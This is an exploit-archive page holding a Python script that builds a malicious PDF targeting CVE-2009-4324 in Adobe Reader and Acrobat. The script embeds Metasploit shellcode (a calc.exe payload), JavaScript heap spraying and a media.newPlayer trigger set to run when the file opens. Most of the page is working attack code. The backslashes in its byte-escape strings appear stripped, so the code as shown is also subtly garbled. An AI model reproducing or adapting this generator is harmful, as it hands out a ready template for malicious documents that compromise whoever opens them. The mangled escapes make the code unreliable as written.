[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Adobe Reader and Acrobat (CVE-2009-4324) Exploit
# Published : 2009-12-23
# Author : Ahmed Obied
# Previous Title : Printoxx Local Buffer Overflow
# Next Title : Easy RM to MP3 27.3.700 local BOF xp sp2


#
#   Author : Ahmed Obied (ahmed.obied@gmail.com)
#
#   This program generates a PDF file that exploits a vulnerability (CVE-2009-4324) 
#   in Adobe Reader and Acrobat. The generated PDF file was tested using Adobe 
#   Reader 9.2.0 on Windows XP SP3. The exploit's payload spawns the calculator.
#
#   Usage  : python adobe_newplayer.py [output file name]
#   

import sys

class PDF:
    
    def __init__(self):
        self.xrefs = []
        self.eol = 'x0dx0a'
        self.content = ''
        self.xrefs_offset = 0
               
    def header(self):
        self.content += '%PDF-1.1' + self.eol  
    
    def obj(self, obj_num, data):
        self.xrefs.append(len(self.content))
        self.content += '%d 0 obj' % obj_num
        self.content += self.eol + '<< ' + data + ' >>' + self.eol
        self.content += 'endobj' + self.eol
    
    def ref(self, ref_num):
        return '%d 0 R' % ref_num 
    
    def xref(self):
        self.xrefs_offset = len(self.content)
        self.content += 'xref' + self.eol
        self.content += '0 %d' % (len(self.xrefs) + 1)
        self.content += self.eol
        self.content += '0000000000 65535 f' + self.eol
        for i in self.xrefs:
            self.content += '%010d 00000 n' % i
            self.content += self.eol
     
    def trailer(self):
        self.content += 'trailer' + self.eol
        self.content += '<< /Size %d' % (len(self.xrefs) + 1)
        self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol
        self.content += 'startxref' + self.eol
        self.content += '%d' % self.xrefs_offset
        self.content += self.eol
        self.content += '%%EOF'
        
    def generate(self):   
        return self.content

class Exploit:
    
    def convert_to_utf16(self, payload):
        enc_payload = ''
        for i in range(0, len(payload), 2):
            num = 0
            for j in range(0, 2):
                num += (ord(payload[i + j]) & 0xff) << (j * 8)
            enc_payload += '%%u%04x' % num
        return enc_payload
            
    def get_payload(self):
        # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
        # http://metasploit.com
        payload  = 'x31xc9x83xe9xddxd9xeexd9x74x24xf4x5bx81x73x13x6f'
        payload += 'x02xb1x0ex83xebxfcxe2xf4x93xeaxf5x0ex6fx02x3ax4b'
        payload += 'x53x89xcdx0bx17x03x5ex85x20x1ax3ax51x4fx03x5ax47'
        payload += 'xe4x36x3ax0fx81x33x71x97xc3x86x71x7ax68xc3x7bx03'
        payload += 'x6exc0x5axfax54x56x95x0ax1axe7x3ax51x4bx03x5ax68'
        payload += 'xe4x0exfax85x30x1exb0xe5xe4x1ex3ax0fx84x8bxedx2a'
        payload += 'x6bxc1x80xcex0bx89xf1x3exeaxc2xc9x02xe4x42xbdx85'
        payload += 'x1fx1ex1cx85x07x0ax5ax07xe4x82x01x0ex6fx02x3ax66'
        payload += 'x53x5dx80xf8x0fx54x38xf6xecxc2xcax5ex07x7cx69xec'
        payload += 'x1cx6ax29xf0xe5x0cxe6xf1x88x61xd0x62x0cx2cxd4x76'
        payload += 'x0ax02xb1x0e'
        return self.convert_to_utf16(payload)
    
    def get_exploit(self):
        exploit = '''
        
        function spray_heap()
        {
            var chunk_size, payload, nopsled;
            
            chunk_size = 0x8000;
            payload = unescape("<PAYLOAD>");
            nopsled = unescape("<NOP>");
            while (nopsled.length < chunk_size)
                nopsled += nopsled;
            nopsled_len = chunk_size - (payload.length + 20);        
            nopsled = nopsled.substring(0, nopsled_len);
            heap_chunks = new Array();
            for (var i = 0 ; i < <CHUNKS> ; i++)
                heap_chunks[i] = nopsled + payload;
        }    
         
        function trigger_bug()
        {
            util.printd("1.000000000000000000000000 : 0000000", new Date());
            try {
                media.newPlayer(null);
            } catch(e) {}
            util.printd("1.000000000000000000000000 : 0000000", new Date());
        }
        
        spray_heap();
        trigger_bug();
        
        '''
        exploit = exploit.replace('<PAYLOAD>', self.get_payload())
        exploit = exploit.replace('<NOP>', '%u0d0d%u0d0d')
        exploit = exploit.replace('<CHUNKS>', '1200')      
        return exploit   
    
def generate_pdf():
        exploit = Exploit()
        pdf = PDF()
        pdf.header()
        pdf.obj(1, '/Type /Catalog /Outlines ' + pdf.ref(2) + ' /Pages ' + pdf.ref(3) + ' /OpenAction ' + pdf.ref(5))
        pdf.obj(2, '/Type /Outlines /Count 0') 
        pdf.obj(3, '/Type /Pages /Kids [' + pdf.ref(4) + '] /Count 1')
        pdf.obj(4, '/Type /Page /Parent ' + pdf.ref(3) + ' /MediaBox [0 0 612 792]')
        pdf.obj(5, '/Type /Action /S /JavaScript /JS (%s)' % exploit.get_exploit())    
        pdf.xref()
        pdf.trailer()
        return pdf.generate()
           
def main():
    if len(sys.argv) != 2:
        print 'Usage: python %s [output file name]' % sys.argv[0]
        sys.exit(0)
    file_name = sys.argv[1]
    if not file_name.endswith('.pdf'):
        file_name = file_name + '.pdf'
    try:
        fd = open(file_name, 'w')
        fd.write(generate_pdf())    
        fd.close()
        print '[-] PDF file generated and written to %s' % file_name
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
               
if __name__ == '__main__':
    main()